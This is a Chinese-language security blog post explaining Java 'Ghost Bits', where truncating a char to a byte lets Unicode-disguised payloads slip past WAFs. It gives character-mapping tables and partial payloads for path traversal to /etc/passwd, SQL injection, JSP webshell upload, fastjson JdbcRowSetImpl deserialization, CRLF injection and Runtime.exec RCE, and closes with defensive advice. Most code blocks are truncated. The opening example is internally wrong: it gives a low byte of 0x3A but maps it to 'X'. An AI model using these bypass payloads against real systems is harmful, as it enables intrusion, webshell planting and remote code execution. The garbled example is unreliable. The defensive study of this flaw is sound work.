java幽灵比特位
原理
Java的char类型位16位(2字节),而byte类型仅为8位(1字节)。当Java代码通过(byte)ch、ch & 0xFF、baos.write(ch)、DataOutputStream#writeBytes()等方式将 char转换为 byte时,高 8 位会被静默丢弃,只保留低 8 位,这一丢失的高位数据即被称为”幽灵比特位(Ghost Bits)”。
以汉字「爻」(U+2F58)为例:
1 | 爻 → U+2F58 → 二进制:00101111 | 00111010(byte) 转换后:高 8 位 0x2F 丢弃,低 8 位 0x3A → 'X' |
攻击者可利用这一特性,将攻击 Payload 中的关键 ASCII 字符替换为经过精心选取的 Unicode 字符(其低 8 位与原字符一致),使 WAF 看到的是无意义的 Unicode 字符序列,而后端 Java 服务解码时高位截断还原为原始攻击载荷,从而绕过基于字符串特征的安全检测。
影响
WAF/IDS 全面绕过:攻击者通过 Ghost Bits 变形 Payload 可绕过绝大多数现有基于规则的 WAF 检测,使已有安全防护形同虚设。
触发多类高危漏洞:
- SQL 注入:Jackson
charToHex(ch & 255)截断,SQL 注入 Payload 隐写于 Unicode 字符中,WAF 无告警,后端还原并执行。 - 反序列化 RCE:BCEL ClassLoader 解码、fastjson
\u/\x转义均存在 Ghost Bits,可绕过 WAF 触发反序列化远程代码执行。 - 文件上传绕过:Tomcat
RFC2231Utility处理文件名时截断高位,可将.jsp伪装为非敏感 Unicode 字符,绕过 WAF 上传 Webshell。 - 路径穿越 / 认证绕过:Spring、Jetty、Undertow、Vert.x 等框架 URL 解码路径存在 Ghost Bits,可绕过 WAF 实现目录穿越;Openfire CVE-2023-32315 可借此绕过 WAF 防护直接利用。
- 已知高危 CVE WAF 绕过:GeoServer CVE-2024-36401(CVSS 9.8)、Spring4Shell(CVE-2022-22965)等漏洞的现有 WAF 防护均可被 Ghost Bits 变体 Payload 绕过,直接触发 RCE。
- SMTP 注入:Angus Mail 等邮件库存在 Ghost Bits,可将隐写 CRLF 序列还原为换行符,触发 SMTP 注入,实现邮件劫持或业务逻辑绕过(已在 Jira、Confluence 上复现)。
- HTTP 请求走私 / XSS:Apache HttpClient(≤ 4.5.9)、JDK 原生 HttpServer 等组件同样受 Ghost Bits CRLF 影响。
影响范围
| 组件 | 漏洞类型 |
|---|---|
| Apache Commons BCEL | WAF 绕过 / 反序列化 RCE |
| Jackson Databind | WAF 绕过 / SQL 注入 |
| Fastjson | WAF 绕过 / 反序列化 RCE |
| Apache Tomcat | 文件上传绕过(Webshell) |
| Spring Framework | URL 解码绕过 / 路径穿越 |
| Jetty | URL 解码绕过 / CRLF 注入 |
| Undertow | URL 解码绕过 |
| Vert.x | URL 解码绕过 |
| Angus Mail | SMTP 注入 |
| Apache HttpClient ≤ 4.5.9 | HTTP 请求走私(HTTPCLIENT-1974/1978) |
| ActiveJ | HTTP CRLF 注入 |
| Lettuce(Redis 客户端) | Redis 命令注入 |
| Jodd | 路径穿越 |
| XMLWriter | XML 标签注入 |
工具
https://s1ksec.github.io/ghost-bits-analyzer/ghost_Bits_CN.html
https://github.com/TideSec/TscanPlus
利用
Ghost Bits利用的本质:
路径穿越
CVE-2025-41242就是利用Ghost Bits(幽灵比特位)实现路径穿越攻击的
| 幽灵字符 | Unicode | 低字节 | 等价原字符 |
|---|---|---|---|
| 阮 | U+962E | 0x2E | . (点) |
| 严 | U+4E25 | 0x25 | % |
| 灵 | U+7075 | 0x75 | u |
| 丰 | U+4E30 | 0x30 | 0 |
| 甲 | U+7532 | 0x32 | 2 |
| 来 | U+6765 | 0x65 | e |
此时阮严灵丰丰甲来 → 截断后变为 .%u002e → Jetty 会解析为 .. → 路径穿越成功。
.的Unicode转义写法为%u002e
1 | /阮严灵丰丰甲来/阮严灵丰丰甲来/阮严灵丰丰甲来/etc/passw%64 |
SQL注入
| 目标字符 | Unicode构造 | 低8位 |
|---|---|---|
1 |
\u0131 |
0x31 |
' |
\u0127 |
0x27 |
O |
\u014F |
0x4F |
R |
\u0152 |
0x52 |
空格 |
\u0120 |
0x20 |
= |
\u013D |
0x3D |
- |
\u012D |
0x2D |
1 | POST /login HTTP/1.1 |
WAF视角:
1 | ıħ ŏŖ ıĽı -- |
实际截断后:
1 | POST /login HTTP/1.1 |
文件上传
| 字符 | 替换Unicode | 低8位 |
|---|---|---|
| j | 陪 (U+966A) |
0x6A |
| s | 獳 |
0x73 |
| p | 瀰 |
0x70 |
上传shell:
1 | shell.jsp |
1 | POST /upload HTTP/1.1 |
filename*=UTF-8''是 HTTP 头字段Content-Disposition中的一个语法,用于传递包含非 ASCII 字符的文件名,即能传递Unicode编码字符。
此时WAF检测视角为:
1 | filename = shell.陪獳瀰 |
从而绕过
fastjson反序列化
攻击payload(原始):
1 | { |
Ghost Bits版本(绕过WAF):
1 | { |
从而绕过@和JdbcRowSetImpl关键字的检测
CRLF注入
| 字符 | Unicode | 低8位 |
|---|---|---|
| \r | \u010D |
0x0D |
| \n | \u010A |
0x0A |
攻击payload(原始):
1 | GET / HTTP/1.1 |
Ghost Bits版本(绕过WAF):
1 | GET / HTTP/1.1 |
RCE
攻击payload(原始):
1 | Runtime.getRuntime().exec("calc"); |
Ghost Bits版本(绕过WAF):
1 | \u0152untime.\u0167et\u0152untime().exec |
防御
WAF 规则:现有基于字符串特征的 WAF 规则对 Ghost Bits 变形 Payload 防护效果有限,建议在解码层面进行语义检测,或引入 Unicode 规范化预处理后再执行规则匹配。
代码层面:排查自研代码中 (byte)ch、ch & 0xFF、baos.write(ch)、DataOutputStream#writeBytes()等写法,改为使用 String.getBytes(StandardCharsets.UTF_8)等明确指定编码的方式。
输入验证:在输入校验阶段对关键字段(文件名、邮件地址、URL 参数、JSON 键名等)严格过滤非 ASCII 字符或进行 Unicode 归一化(NFC/NFKC)处理。






